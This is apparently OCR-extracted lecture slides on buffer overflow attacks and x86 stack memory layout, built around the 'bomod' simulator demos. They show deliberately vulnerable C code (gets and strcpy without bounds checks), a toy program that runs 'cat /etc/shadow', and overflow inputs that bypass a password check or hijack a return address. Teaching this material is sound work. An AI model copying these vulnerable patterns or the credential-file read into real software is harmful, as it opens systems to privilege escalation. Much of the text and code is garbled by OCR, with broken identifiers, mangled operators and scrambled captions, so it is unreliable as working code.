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Can we view /etc/shadow without password?

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){
int passCheck = 0;
char password[16];

printf("Enter password: ");
scanf("%s", password);

if(strcmp(password, "secret")) {
printf("\nWrong Password!\n");
} else {
printf("\nCorrect Password\n");
passCheck = 1;

}
if(passCheck) {

system("cat /etc/shadow");
}

return 0;
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Important Notes on the Details discussed in this Module

We consider the process stack to grow down towards low memory addresses and the process heap to
expand up towards high memory addresses.

Unless stated otherwise, we do not take into consideration possible padding of values in memory for
maintaining proper alignment in illustrations.

Unless stated otherwise, we consider the operating system to place local variables on the stack in the order
they occur in the source code and in a contiguous manner.

In reality, there are no requirements for the stack to be contiguous in the language, the OS, or the hardware.
The only requirement of the stack is that frames are linked. Thus allowing the stack to push/pop frames as
scopes/functions are entered/left.

Stack organization is completely unspecified and is implementation specific.



@ NOTE: Program execution goes in the direction of higher memory addresses

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){
int passCheck = 9;
char password[16];

printf("Enter password: ");
scanf("%s", password);

if(strcmp(password, "secret")) {
printf("\nWrong Password!\n");
} else {
printf("\nCorrect Password\n");
passCheck = 1;
}
if(passCheck) {
system("cat /etc/shadow");
}

return 0;

*Read more about possible padding for proper alignment in x86 architecture:
https://stackoverflow.com/questions/4162964/whats-this-between-local-var-and-ebp-on-the-stack
https://stackoverflow.com/questions/35249788/waste-in-memory-allocation-for-local-variables
https://stackoverflow.com/questions/2399072/why-gcc-4-x-default-reserve-8-bytes-for-stack-on-
linux-when-calling-a-method
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The drawing does not take into consideration possible padding
of values in memory for maintaining proper alignment*



@ NOTE: Program execution goes in the direction of higher memory addresses

OXFFFFFFFF

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

2?7

int main(){
int passCheck = 9;
char password[16];

2?7

passCheck

printf("Enter password: ");
scanf("%s", password);

if(strcmp(password, "secret")) {
printf("\nWrong Password!\n");
} else {
printf("\nCorrect Password\n");
passCheck = 1;

Stack Grows

Variables/Buffers filled

Password[16]

}
if(passCheck) {

system("cat /etc/shadow");
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}

return 0;

0X00000000
*Read more about possible padding for proper alignment in x86 architecture: . . . . . .
https://stackoverflow.com/questions/4162964/whats-this-between-local-var-and-ebp-on-the-stack The drawmg _does not take |nto. c0n'5|.derat|on pOS?Ib|e pad:hng
https://stackoverflow.com/questions/35249788/waste-in-memory-allocation-for-local-variables of values in memory for maintaining proper alignment
https://stackoverflow.com/questions/2399072/why-gcc-4-x-default-reserve-8-bytes-for-stack-on-
linux-when-calling-a-method




—> BUFFER
OVERFLOW
AT TACKS

* A classic example of an application program attack, which allows for
privilege escalation, is known as a buffer overflow attack.

* In any situation, where a program allocates memory to store
information, care must be taken to ensure that copying user-supplied
data to this memory is done securely and with boundary checks.

Buffer overflow example

Buffer (8 bytes) Overflow ‘
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—> BUFFER
OVERFLOW
AT TACKS

* If this is not the case, then it may be possible for an attacker to
provide input that exceeds the length of the allocated memory.

* Because the provided input is larger than the allocated memory, this
may overwrite data beyond the location of the allocated memory,
and potentially allow the attacker to gain control of the entire
process and execute arbitrary code on the machine.

Buffer overflow example

Buffer (8 bytes) Overflow ‘
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Allocation Strategies: Static Buffer Allocation

 Memory for a buffer is allocated once and the buffer retains its initial
size for the duration of its existence. (located into program’s stack)

* The biggest advantage of this approach is simplicity. Because a buffer
remains the same size throughout its lifetime, it is easier for

programmers to keep track of the size of the buffer and ensure that
operations performed on it are safe.

int main(int argc, char seargv) {
char str|BUFSIZE]:
int len;
len = snprintf(str, BUFSIZE, "™Xs(xd)", argv[0], argc);
printf("Xs\n", str);
if (len >= BUFSIZE) {
printf("length truncated (from %d)\n", len);
}
return SUCCESS;



Allocation Strategies: Dynamic Buffer Allocation

* Allows for buffers to be resized according
to runtime values as required by the
program. (located into program’s heap).

* By decoupling decisions about buffer sizes
from the compilation of the program, a
dynamic solution enables programs to
function more flexibly when the data they
operate on vary significantly at runtime.

int main(int argc, char esargv) {

char *str;
int len;
if ((str « (char *)malloc(BUFSIZE)) =« NULL) {
return FATILURE MEMORY;
}
len = snprintf(str, BUFSIZE, ™Xs(&d)", argv[0], argc);
if (en >= BUFSIZE) {
free(str).;
if ((str «» (char “malloc(len + 1)) == NULL) {
return FAILURE MEMORY;
}
snprintfistr, len + 1, "%s(8d)", argv[0], argc);
'
printf("%s\n", str);
free(str);
str = NULL;
return SUCCESS;



Allocation Strategies: Dynamic Buffer Allocation

* The additional complexity involved in
dynamic allocation is obvious.

 The addition of code to determine the desired
buffer size.

* Allocation of the new memory.
* Checking to see that the allocation succeeds.

* The program’s correctness is harder to
verify because a runtime value controls the
size of the dynamically allocated

int main(int argc, char esargv) {

char *str;
int len;
if ((str « (char *)malloc(BUFSIZE)) =« NULL) {
return FATILURE MEMORY;
}
len = snprintf(str, BUFSIZE, ™Xs(&d)", argv[0], argc);
if (len >= BUFSIZE) {
free(str).;
if ((str «» (char “Imalloc(len + 1)) == NULL) {
return FAILURE _MEMORY;
}
snprintfistr, len + 1, "%s(8d)", argv[0], argc);
'
printf("%s\n", str);
free(str);
str = NULL;
return SUCCESS;



Why is this C code vulnerable?

#include <stdio.h>
int main(int argc, char **argv) {
char buf[64];

strcpy(buf, argv[1]);
return 9;

}

* Program is soliciting input from the user through the program
arguments and the input is stored to memory (buf).

* Input bounds are not checked and data in memory can be
overwritten

* The main function has a return address that can be overwritten to
point to data in the buffer



Buffer Overflow Basics

* In 2001, the National Science Foundation funded an initiative to
create interactive learning modules for a variety of security subjects

including buffer overflows. The project was not maintained after it’s
release and has recently become defunct.

 Fortunately, Ben Holland (https://github.com/benjholla) was able to
salvage the buffer overflow module and refactor the examples to

work again. Resurrected Fork: https://github.com/benjholla/bomod

* We will use these interactive modules to examine execution jumps,

stack space, and the consequences of buffer overflows at a high-level
before we attempt the real thing.



https://github.com/benjholla
https://github.com/benjholla/bomod

Buffer Overflow Module (bomod)

Demonstrates how stacks are used to keep
track of subroutine calls.

Demonstrates stack attack or stack smashing
B JumpsDemo.jar
b B SmasherDemo jar Demonstrates "variable attack" buffer

i bomod > |8 SpockDemo jar overflow, where the target is data.

i demos StackGuardDemo.jar
B mirror - StacksDemo.jar

B README.md

3 screenshot_...ic_mode.png

B screenshot_...n_mode.png

Demonstrates how the StackGuard compiler
can help prevent stack attacks

Demonstrates the way languages like C use
https://github.com/benjholla/bomod stack frames to storeylocaflgva{rgiables, pass
variables from function to function by value
and by reference and return control to the
calling subroutine when the called
subroutine exits.



https://github.com/benjholla/bomod

Stack Data Structure

TOP: NULL

Empty Stack

TOP: 1

push

TOP: 2

IHI{

push




Memory Layout

Simulator Memory Overview

* There are 256 bytes of memory. Memory is laid out left to right and top to
bottom (just like a book). The first byte of memory is at address 0x00, the
second byte is at address 0x01, and the last byte is at address OxFF.

* A * indicates the current position of the program counter (the current
instruction to be executed).

¢ A X indicates where a subroutine was called and where the program pointer
will return to after the subroutine is finished executing.

* The color of the C code for each subroutine matches the color of the
corresponding subroutine memory location.

* A $ indicates a return pointer to the subroutine with the same color as the $
address.

* A ? indicates a stack canary. If the value of a canary changes, then the stack

guard check will fail.

Program Counter Delay Play Stop Step Forward Reset Input:
Subroutine C:
begin 0x00
Do some stuff
end; Memory Address

Subroutine B:
begin
needs space for B's Local Variables
Do some stuff
Call Subroutine C
end;

Subroutine A:
begin
needs space for A's Local Variables
Call Subroutine B
Call Subroutine C
end;

Start:
begin
all Subroutine A
end;

Click 'Play’ o 'Step Forward' to begin.

0123456789ABCDEF

0

1

2

3

4

5

6

7

8

9

A OxFF
g Memory Address
E

F

JumpsDemo. jar



Memory Layout

Program Counter Delay Play Stop Step Forward Reset  Input:

Simulator Memory Overview void foo_l(char #p_my_parameter)

*p_my_parameter = 'F';
* There are 256 bytes of memory. Memory is laid out left to right and top to

bottom (just like a book). The first byte of memory is at address 0x00, the
second byte is at address 0x01, and the last byte is at address OxFF.

* A * indicates the current position of the program counter (the current
instruction to be executed).

void foo_2(char my_parameter)

123456789ABCDEF

char my_local_variable = 'E';
my_parameter = ‘V';
foo_1(&my_local_variable);

¢ A X indicates where a subroutine was called and where the program pointer

will return to after the subroutine is finished executing.

void foo_3(char my_parameter)

{
char my_local_variable = "Q';
foo_2(my_local_variable);
foo_l(&my_parameter);

* The color of the C code for each subroutine matches the color of the
corresponding subroutine memory location.

* A $ indicates a return pointer to the subroutine with the same color as the $

address. void main()

foo_3('A');

Click 'Play’ or 'Step Forward” to begin. StacksDemo. jar

* A ? indicates a stack canary. If the value of a canary changes, then the stack
guard check will fail.

TMOND>»POONNAIVAWNMD



Hello Dr. Bones!

* If we are attempting to login as
Dr. Bones and enter “TEST” as his @@ o s moimem e e 7

#include <stdio.h> Enter Password:

password this program Wi” print #include <string.h> TEST

int check_password()

{

”Access denied.” char correct_password = 'F';

char input[8]; 0123456789ABCDEF

"

gets(input);

e If we don’t know Dr. Bones’ if (Istrcmp(input, "SPOCKSUX")) |
password can we still log in? |

void main()

puts("Enter Password:");
if (check_eassword())
puts("Hello, Dr. Bones.");
else
puts("Access denied.");

You didn’t enter the right password, but do you need to? B
SpockDemo. jar

MMOMDPOENOOUVAEWN




Hello Dr. Bones!

Program Counter Delay Play Stop Step Forward Reset Input: AAAAAAAAT
#include <stdio.h> Enter Password:
#include <string.h> AAAAAAAAT

int check_password() Hello, Dr. Bones.

{
char correct_password = 'F';
char input([8]; 0123456 789ABCDEF
gets(input);
Af (!strcmp(input, "SPOCKSUX"))
correct_password = 'T';
return (correct_password == 'T');
}

void main()

uts("Enter Password:");
1f (check password()

puts("Access denied.");

MTMOMODPOENOOUVAEWN-D

You're now logged In as Dr. Bones
SpockDemo. jar



What happened?

* The program first declares a
single character variable
correct_password with value
‘F’, then declares an 8-character
buffer called input.

* Since the stack grows towards
ex00 this means that if the
input buffer overflows the next
value overwritten will be
correct passwonrd.

Program Counter Delay Play Stop

#include <stdio.h>
#include <string.h>

int check_password()

{
char correct_password = 'F';
char input([8];

gets(lnput)
if ('strcmp(lnput SPOCKSUX“))
correct -1ssword = 'T!'

void main()

puts("Enter Password:");
1f (check gassword())
puts("Hello, Dr. Bones.");
else
puts("Access denied.");

You didn’t enter the right password, but do you need to?

J
K)
(4]
7
8
Bl
A
B
C

-“-“mo

Input: TEST

Enter Password:
TEST

0123456789ABCDEF

SpockDemo. jar




What happened?

* If we can overwrite the
correct_password variable to ‘T
then we can bypass the security
check and login as Dr. Bones
without knowing his password.

* To do this we just need to fill the
buffer with 8 characters,
followed by a 9t character of ‘T’.

* So logging in with password
“AAAAAAAAT” will log us in as Dr.
Bones.

’

Program Counter Delay Stop

#include <stdio.h>
#include <string.h>

int check_password()

{
char correct_password = 'F';
char input([8];

gets(lnput)

if ('strcmp(lnput SPOCKSUX“))

correct -1ssword = 'T!'

void main()

puts("Enter Password:");
1f (check gassword())
puts("Hello, Dr. Bones.");
else
puts("Access denied.");

You didn’t enter the right password, but do you need to?

Enter Password:

SpockDemo. jar




Entering forbidden function?

D1

Lay Stop S

Program Counter Delay step Forward Reset Input: AAAAAMAAAAAAAAA

#include <stdio.h> Enter something:

) ) AAAAAAAAAAAAAAAA
void get_string(t_STRING str) Segmentation fault.

gﬁ::{§$;3;entered-")- 0123456789ABCDEF

uts(str);
l—
void forbidden_function()

puts("Oh, bother.");

void main()
t_STRING my_string = "Hello.";

puts(“"Enter something:");
get_string(my_string);

The return address pointed to something that didn't make sense so you caused a segmentation fau R
SmasherDemo.jar



Oh, Bother!

* Entering a long string of ‘A’
characters allows us to overflow B rroprm Comter Delay Py S S fonerd  Meset Tets AMAMAAAY
the input buffer and overwrite the =~ frde =te” AAAVAAARAAAARRA

typedef char t_STRING[10]; You entered:

return address of main, but if the void get_string(t_STRING str) Segmntation folt.

gets(str);

return address does not point to a RHRE e

Valid region in memory a void forbidden_function()
. . uts("“"Oh, bother.");
segmentation fault will occur. ,,

void main()
t_STRING my_string = "Hello.";

puts(“Enter something:");
get_string(ly_string?;

The return address pointed 10 something that didn't make sense s0 you caused a segmentation fa
SmasherDemo.jar




Ch De i

(o] 96
1 1 9
2 2 an
3 3 99
4 4 100
M s 101
6 [ 102
T 7 103
n 104
9 105
10 106
11 107
14 “ 108
13 109
14 > 110
15 4 111
16 112
17 A 113
18 8 114
19 C 115
<0 ¢ ) 116
21 £ 117
22 F 118
2% G 119
24 H 120
25 ! 121
26 ) 124
27 K 123
28 i 124
Fal ~ 125
30 N 126
i1 (4] 12
34 ”
33 Q
14 R
36 Y
\7 U
38 v
39 w
&0 X
4l Y
a2 Z

Decimal Mexpdecimal Binary Octal Char Decimal Mexadecing
0 44
| | 49

Hint: Think of the different ways the
program could interpret the data that
was entered into the array. As humans
typing input into the program, we are
entering ASCII characters, but ASCI|
characters can also be interpreted as
Decimal, Hex, or Octal values.



Oh, Bother!

* Entering a long string of ‘A’
characters allows us to overflow B rroprm Comter Delay Py S S fonerd  Meset Tets AMAMAAAY
the input buffer and overwrite the =~ frde =te” AAAVAAARAAAARRA

typedef char t_STRING[10]; You entered:

return address of main, but if the void get_string(t_STRING str) Segmntation folt.

gets(str);

return address does not point to a RHRE e

Valid region in memory a void forbidden_function()
. . uts("“"Oh, bother.");
segmentation fault will occur. ,,

void main()
t_STRING my_string = "Hello.";

puts(“Enter something:");
get_string(ly_string?;

The return address pointed 10 something that didn't make sense s0 you caused a segmentation fa
SmasherDemo.jar




Oh, Bother!

* The buffer my _string is 10
characters long.

£ Program Counter Delay ‘ Stop Input: AAMAAAAAAL
* When get_string is called it SN b
allocates another buffer of 10 void get_string(e_STRING 5¢1) AAAAARRD
characters for its str parameter as 0123456789A8.

}

well as a return address for void forbidden function()

get _string to return back to main T T F—
after it is finished. —

t_STRING my_string = "Hello.";

* The return pointer to main is pets(sEnter somathiag:®); R —

get_string(my_string

Sto red iI I II I led iatE|y after the Str Yhelotbiodenluncuoncouauammmg1ucnnavoo(svulotavlusphco;uylnanactcl a
SmasherDemo. jar
buffer.




Oh, Bother!

* So entering a string of any 10

characters to fill the buffer B rowren Contar by (Vg ) (900 ——
th #include <stdio.h> Enter somsthiag:

followed by an 11 character e otion. AR

that overwrites the return foia get_string(STRING st o bher.

address to main to point to mEms

}

the starting address of the void forbidden_function()
forbidden_function would P —

void main()

cause the program to jump to Co_staane my_string = Helto.": :
. uts("Enter something:"); r-
executlng the , get,_itrmg(my"str;ng?; )

forbidden_function after the Theloth-odenlunclloncoudbenmmmgiucnnalootthtlluavnnphccdbyananutu
get_string function is finished.




Oh, Bother!

* The starting address of the
forbidden function is at hex ———— NS R
address 0x44 which is the #include <stdio.h> Enter something:

typedef char t_STRING([10]; You entered:

ASC” Ietter ID’. SO enterlng \{/oid get_string(t_STRING str) mo |

gets(str);

“AAAAAAAAAAD” will cause B st

the forbidden function to print void forbidden_function()
“Oh, bother.”.

void main()

t_STRING my_string = “"Hello."; 8
puts(“Enter something:"); F
get_strxng(ny_strxng?; "

}

S

The forbicdden function could be anything, such as a root shell or a virus placed by an attacker a
SmasherDemo.jar




Oh, Bother!

* This example demonstrates how
a buffer overflow could be used

to compromise the integrity of a rinctute <taio.n b o i
program’s control flow. s i
* Instead of a pre-existing S C A
function, an attacker could craft y putststny;
an input of arbitrary machine foid forbladen.function()

code and then redirect the B —

program’s control flow to C oratue ay_string = “Helto." f
execute his malicious code that puts (“Enter something:"); R

. . get_string(my_string ’
WaS never part Of the Or’glnal Mlawdenlumlbﬂcwbeammmg|ucnn.woot|holtot;vduiphccc.lbyananacu(
h -J
program.




It's time to get serious




MEMORY LAYOUTS

The following slides are adopted from CMSC414 course by Dave Levin

(https://www.cs.umd.edu/class/spring2019/cmsc414/)
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o e The details discussed in

I32-BITJs th

o - e this module assumes a

& @ . .

of ¥86 |[* 32-bit x86 architecture

O @]

00000000

X86 (32-bit) Registers Addresses are 1 Word/4 bytes/32 bits Little Endian Bytes Ordering
EAX — Accumulator register (general purpose register) Word Address Data
ECX — Counter register (general purpose register) > ! X OAO BOCOD
EDX — Data register (general purpose register) . . N
EBX — Base register (general purpose register) 0000000C |4 O|F 3|0 7|8 8| Word 3
ESP — Stack Pointer register 00000008 [0 1|EE|2 8|4 2| Word 2 r -1
EBP — Base Pointer register 00000004 |F2|F1|AC/OT| Word1

— OA|OB |OC |OD

ESI — Source Index register
EDI — Destination Index register
EIP — Instruction Pointer register

00000000 |AB|CD|E Ff? 8| Word 0

D WD VIS -

B >
width = 4 bytes

orl orl a




REFRESHER

« How is program data laid out in memory?
« What does the stack look like?

* What effect does calling (and returning from) a
function have on memory?

« We are focusing on the Linux process model
« Similar to other operating systems



ALL PROGRAMS ARE STORED IN MEMORY

.......................................................................................................




ALL PROGRAMS ARE STORED IN MEMORY

4G Oxffffffff

1 word = 4 bytes = 32 bits

0 1 word = 4 bytes = 32 bits OXOOOOOOOO

1 word = 4 bytes = 32 bits




ALL PROGRAMS ARE STORED IN MEMORY

.......................................................................................................

4G Oxffffffff

The process’s view
of memory is that
it owns all of it

0 0x00000000




ALL PROGRAMS ARE STORED IN MEMORY

.......................................................................................................

4G Oxffffffff

! M .
The process’s view In reality, these are

of memory is that virtual addresses;

it owns all of it the OS/CPU map

them to physical
addresses

0 0x00000000




THE INSTRUCTIONS THEMSELVES ARE STORED IN MEMORY

-------------------------------------------------------------------------------------------------------

4G Oxffffffff

0 ‘ | 0x00000000




THE INSTRUCTIONS THEMSELVES ARE STORED IN MEMORY

.......................................................................................................

4G Oxffffffff

Ox4c2 sub $0x224,%esp
Ox4cl push %ecx

0x4bf mov %esp, tebp
Ox4be push %ebp

0 ‘ | 0x00000000




DATA'S LOCATION DEPENDS ON HOW IT'S CREATED

-------------------------------------------------------------------------------------------------------

4G Oxffffffff

0 ‘ | 0x00000000




DATA'S LOCATION DEPENDS ON HOW IT'S CREATED

-------------------------------------------------------------------------------------------------------

4G Oxffffffff

static const int y=10;

0x00000000




DATA'S LOCATION DEPENDS ON HOW IT'S CREATED

-------------------------------------------------------------------------------------------------------

4G Oxffffffff

static int x;

static const int y=10;

0x00000000




DATA'S LOCATION DEPENDS ON HOW IT'S CREATED

-------------------------------------------------------------------------------------------------------

4G Oxffffffff

static int x;
Known at .
o o static const int y=10;
compile time
0 0x00000000




DATA'S LOCATION DEPENDS ON HOW IT'S CREATED

-------------------------------------------------------------------------------------------------------

static int x;

Known at

o o static const int y=10;
compile time

0x00000000




DATA'S LOCATION DEPENDS ON HOW IT'S CREATED

-------------------------------------------------------------------------------------------------------

Set when Oxffffffff

process starts

static int x;

Known at

o o static const int y=10;
compile time

0 0x00000000




DATA'S LOCATION DEPENDS ON HOW IT'S CREATED

-------------------------------------------------------------------------------------------------------

Set when Oxffffffff

process starts int £() {

int x;

static int x;

Known at

o o static const int y=10;
compile time

0 0x00000000




DATA'S LOCATION DEPENDS ON HOW IT'S CREATED

-------------------------------------------------------------------------------------------------------

Set when Oxffffffff
process starts it £0) ¢
int x;

malloc(sizeof(long));

static int x;
Known at

o o static const int y=10;
compile time

0 0x00000000



DATA'S LOCATION DEPENDS ON HOW IT'S CREATED

-------------------------------------------------------------------------------------------------------

Set when Oxffffffff
process starts it £0) ¢
int x;

Dynamically
sized at runtime

malloc(sizeof(long));

static int x;
Known at

o o static const int y=10;
compile time

0x00000000



DATA'S LOCATION DEPENDS ON HOW IT'S CREATED

-------------------------------------------------------------------------------------------------------

Set when Oxffffffff
process starts it £0) ¢
int x;

Dynamically
sized at runtime

malloc(sizeof(long));

static int x;
Known at

o o static const int y=10;
compile time

0x00000000



WE ARE GOING TO FOCUS ON RUNTIME ATTACKS

-------------------------------------------------------------------------------------------------------

Stack and heap grow in opposite directions

0x00000000 Oxffffffff




WE ARE GOING TO FOCUS ON RUNTIME ATTACKS

Stack and heap grow in opposite directions

Compiler provides instructions that
adjusts the size of the stack at runtime

0x00000000 Oxffffffff

apportioned by the OS;
managed in-process
by malloc

Focusing on the stack for now



Instruction Pointer Register

4G Oxffffffff

0x5bf mov %esp, tebp
Ox5be push %ebp
Instruction pointer register (%eip)

containing the address of the

Ox4a7 mov $0x0,3eax instruction to be executed
Ox4a2 call <func>

0x49b movl $0x804..,(%esp)
%eip ‘Ox493 movl $0xa,0x4(%esp)

Text
0 0x00000000

Execution Direction




Instruction Pointer Register

4G Oxffffffff

0x5bf mov %esp, tebp
Ox5be push %ebp
Instruction pointer register (%eip)
containing the address of the

Ox4a7 mov $0x0,3eax instruction to be executed
Ox4a2 call <func>

%eip mEPOx49b movl $0x804..,(%esp)
0x493 movl $0xa,0x4(%esp)

Execution Direction

Text
0 0x00000000




Instruction Pointer Register

4G Oxffffffff

0x5bf mov %esp, tebp
Ox5be push %ebp

Instruction pointer register (%eip)
o containing the address of the
0x4a7 mov $0x0,%eax instruction to be executed

%eip Em)ox4a2 call <func>
0x49b movl $0x804..,(%esp)

0x493 movl $0xa,0x4(%esp)

Execution Direction

Text
0 0x00000000




Instruction Pointer Register

4G Oxffffffff

0x5bf mov %esp, tebp
%elip ‘Obee push %ebp
20C Instruction pointer register (%eip)
containing the address of the

0x4a7 mov $0x0,%eax instruction to be executed
Ox4a2 call <func>

0x49b movl $0x804..,(%esp)

0x493 movl $0xa,0x4(%esp)

Execution Direction

Text
0 0x00000000




Instruction Pointer Register

4G Oxffffffff

%elip Em)Ox5bf mov sesp,tebp
Ox5be push %ebp

Instruction pointer register (%eip)
containing the address of the

0x4a7 mov $0x0,%eax instruction to be executed
Ox4a2 call <func>

0x49b movl $0x804..,(%esp)

0x493 movl $0xa,0x4(%esp)

Execution Direction

Text
0 0x00000000




Instruction Pointer Register

4G

Execution Direction

%eip mmp

Text

Oxffffffff

0x5bf mov %esp, tebp
Ox5be push %ebp

r3x4a7 mov $0x0,%eax |
Ox4a2 call <func>

0x49b movl $0x804..,(%esp)
0x493 movl $0xa,0x4(%esp)

0x00000000

Instruction pointer register (%eip)
containing the address of the
instruction to be executed

When calling functions, we should store the
location of the next instruction to be executed
after the function call returns, otherwise, the
program will continue to increment %eip.



Stack Growth Direction

Stack Related Registers

%ebp mp

= %eSP

Base Pointer Register (%ebp)
containing the address of the

e

bottom of the stack frame

%EDP m—lp %Eebp m—pp
= %ESP

Stack Pointer Register (%esp)
containing the address of the

top of the stack frame

= %ESP




Stack Growth Direction

Stack Related Registers

%EDp m—pp

%ebp mp

= %ESP

Base Pointer Register (%ebp)
containing the address of the

bottom of the stack frame

%EeDp m—pp

= %ESP

Stack Pointer Register (%esp)
containing the address of the

top of the stack frame

e

= %eSP



Stack Growth Direction

Stack Related Registers

%ebp =—p %ebp ==p
@«%esp m

Base Pointer Register (%ebp)
containing the address of the

bottom of the stack frame

%ebp m=—p

Stack Pointer Register (%esp)
containing the address of the

top of the stack frame

ol

= %eSPp



Stack Growth Direction

Stack Related Registers

%ebp —>

%Eebp m—pp

|

4—/esp

Base Pointer Register (%ebp)
containing the address of the

bottom of the stack frame

2,
) | |

%EeDbp m—pp

%eb
R (T P

= %ESP

Stack Pointer Register (%esp)
containing the address of the

top of the stack frame



Referencing Stack Variables

OXFFFFFFFF
%ebp wip OXFF33440C
C
0
0 OxFF334408
=
=
% OxXFF334404
G
@ OxFF334400 4—%esp
w
0x00000000 Base Pointer Register (%ebp)

containing the address of the
bottom of the stack frame

$ebp A memory address

(like

(%ebp) The value at memory address %ebp

dereferencing a pointer)

__Expression | ___Value

%ebp
%ebp - 4
%ebp - 8
-4(%ebp)
-8(%ebp)
-C(%ebp)
(%ebp)
+4 (%ebp)

Stack Pointer Register (%esp)
containing the address of the

top of the stack frame

OxFF33440C
OxXFF334408
OxFF334404
1
2
3

9
???



$ebp A memory address

Refe re n CI ng Sta Ck va rI a b | eS (%ebp) The value at memory address %ebp

(like dereferencing a pointer)

OXFFFFFFFF
Copresson | vaue
OxFF33440C %ebp 6xFF33446¢€ OxFF334408
S %ebp - 4 @xFF334488 0OxFF334404
2 OxFF334468 <— %ebp %ebp - 8 @xFF334404 OXFF334400
()
S -4(%ebp) 32
2 OxXFF334404
g -8(%ebp) 23
3 OxFF334400 @ %eSp -C(%ebp) 3 222
w
(%ebp) 91
+4 (%ebp) 222 9
OX00000000 Base Pointer Register (%ebp) Stack Pointer Register (%esp)
containing the address of the containing the address of the

bottom of the stack frame top of the stack frame



$ebp A memory address

Refe re n CI ng Sta Ck va rI a b | eS (%ebp) The value at memory address %ebp

(like dereferencing a pointer)

OXFFFFFFFF
Cogresson | vale
OxFF33440C %ebp xFF33446C OxFF334408
S %ebp - 4 @xFF334488 0OxFF334404
2 OxFF334468 <— %ebp %ebp - 8 @xFF334404 OXFF334400
()
S -4 (%ebp) 3 2
3 OxXFF334404
g -8(%ebp) 2 3
g OxFF334400 @ %eSp -C(%ebp) 3 227
w
(%ebp) 91
+4 (%ebp) 222 9
0x00000000 It is really important to keep track of the %ebp and %esp registers at the right positions for

correct variable referencing and indexing, otherwise, we result on a chaos!



STACK FRAMES

.......................................................................................................

void main() { countUp(23); }

void countUp(int n) {
if(n > 1)
countUp(n-1);
printf(“%*d\n”, n);

}

%ebp

main()

0Xx00000000

%esp

OXFFFFFFFF



0Xx00000000

STACK FRAMES

void main() { countUp(3); }

void countUp(int n) {
if(n > 1)
countUp(n-1);
printf(“%*d\n"”, n);

OXFFFFFFFF



0Xx00000000

STACK FRAMES

.......................................................................................................

void main() { countUp(3); }

void countUp(int n) {
if(n > 1)
countUp(n-1);
printf(“%*d\n"”, n);

OXFFFFFFFF



0Xx00000000

STACK FRAMES

-------------------------------------------------------------------------------------------------------

void main() { countUp(23); }

void countUp(int n) {
if(n > 1)
countUp(n-1);
printf(“%*d\n"”, n);

%ebp

OXFFFFFFFF



0Xx00000000

STACK FRAMES

.......................................................................................................

void main() { countUp(3); }

void countUp(int n) {
if(n > 1)
countUp(n-1);
printf(“%*d\n"”, n);

OXFFFFFFFF



0Xx00000000

STACK FRAMES

void main() { countUp(3); }

void countUp(int n) {
if(n > 1)
countUp(n-1);
printf(“%*d\n"”, n);

OXFFFFFFFF



STACK FRAMES

.......................................................................................................

void main() { countUp(23); }

void countUp(int n) {
if(n > 1)
countUp(n-1);
printf(“%*d\n”, n);

}

%ebp

main()

0Xx00000000

%esp

OXFFFFFFFF



0Xx00000000

STACK LAYOUT WHEN CALLING FUNCTION

void func(char *argl, int arg2, int arg3)

{

char locl[4)
int loc2;
int loc3;

%ebp

y

t

%esp

caller’s data

OXFFFFFFFF



0Xx00000000

STACK LAYOUT WHEN CALLING FUNCTION

void func(char *argl, int arg2, int arg3)

{

char locl[4)
int loc2;
int loc3;

%ebp

y

caller’s data

t Arguments
%esp pushed in
reverse order
of code

OXFFFFFFFF



0Xx00000000

STACK LAYOUT WHEN CALLING FUNCTION

void func(char *argl, int arg2, int arg3)

{

char locl[4)
int loc2;
int loc3;

}

. Two values between the arguments _
%esp and the local variables /oel'bp
s caller’s data -

Local variables Arguments

pushed in the pushed in

same order as reverse order

they appear of code

in the code

OXFFFFFFFF



0Xx00000000

STACK FRAMES

.......................................................................................................

void func(char *argl, int arg2, int arg3)
{

char locl[4)

int loc2;

int loc3;
}

%ebp

y

caller’s data -

%eSPThe part of the stack corresponding to
this particular invocation of
this particular function

OXFFFFFFFF



0x00000000

ACCESSING VARIABLES

------------

%esp

...........................................................................................

void func(char *argl, int arg2, int arg3)
{
char locl[4)
int loc2; Q: Where is (this) loc2?
int loc3;
loc2++;

%ebp

4

caller's data -

OXFFFFFFFF



0x00000000

ACCESSING VARIABLES

.......................................................................................................

void func(char *argl, int arg2, int arg3)
{
char locl[4)
int loc2; Q: Where is (this) loc2?
int loc3;
loc2++;

%ebp

4

caller's data ---

%esp h v g
Variable Number
Undecidable at of Arguments

Compile-Time

OXFFFFFFFF



ACCESSING VARIABLES

void func(char *argl, int arg2, int arg3)
{
char locl[4)
int loc2; Q: Where is (this) loc2?
int loc3;
loc2++;
}

Set proper value for %ebp register to properly
setup called function stack frame %Ebp

= ———— ——— “

caller's data ---

0x00000000

J

%esp v
Variable Number
Undecidable at of Arguments

Compile-Time

OXFFFFFFFF



ACCESSING VARIABLES

.......................................................................................................

void func(char *argl, int arg2, int arg3)
{
char locl[4)
int loc2; Q: Where is (this) loc2?
int loc3;
loc2++;
}

Set proper value for %ebp register to properly
setup called function stack frame %Ebp

= ———— ——— “

caller's data ---

0x00000000

%es
p -4(%ebp) locl[@]
$ebp A memory address -2(%ebp) loci[2]
-8(%ebp) loc2
(%ebp) The value at memory address %ebp .
(like dereferencing a pointer) -C(%ebp) loc3
+8(%ebp) argl

+C(%ebp) arg2

OXFFFFFFFF



NOTATION

.......................................................................................................

0xbf£f£f03b8  %ebp A memory address

0xbf££0720  (%¥ebp) The value at memory address %ebp
(like dereferencing a pointer)

oxbfffolfc Fesp
l 0xbf ££03b8

0x00000000 T Oxffffffff

¥ebp




NOTATION

..........................................................................................

0xbf£f£f03b8  %ebp A memory address

.............

0xbf££0720 (¥ebp) The value at memory address %ebp

(like dereferencing a pointer)

pushl %ebp

oxbfffolfc Fesp
t Oxbff£f03b8

0x00000000 T

%ebp

Oxffffffff



NOTATION

.......................................................................................................

0xbf£f£f03b8  %ebp A memory address

0xbf££0720 (¥ebp) The value at memory address %ebp
(like dereferencing a pointer)

pushl %ebp

Oxbfff0200 l%esp
Oxbff£f03b8

0x00000000 T Oxffffffff

%ebp




NOTATION

.......................................................................................................

0xbf££03b8  %ebp A memory address

0xbf££0720 (¥ebp) The value at memory address %ebp
(like dereferencing a pointer)

pushl %ebp

Oxbfff0200 l%esp
Oxbff£f03b8

0x00000000 T Oxffffffff

¥ebp




NOTATION

.......................................................................................................

0xbf££03b8  %ebp A memory address

0xbf££0720 (¥ebp) The value at memory address %ebp
(like dereferencing a pointer)

pushl %ebp
movl %esp %ebp /+ tebp = tesp */

Oxbfff0200 l%esp
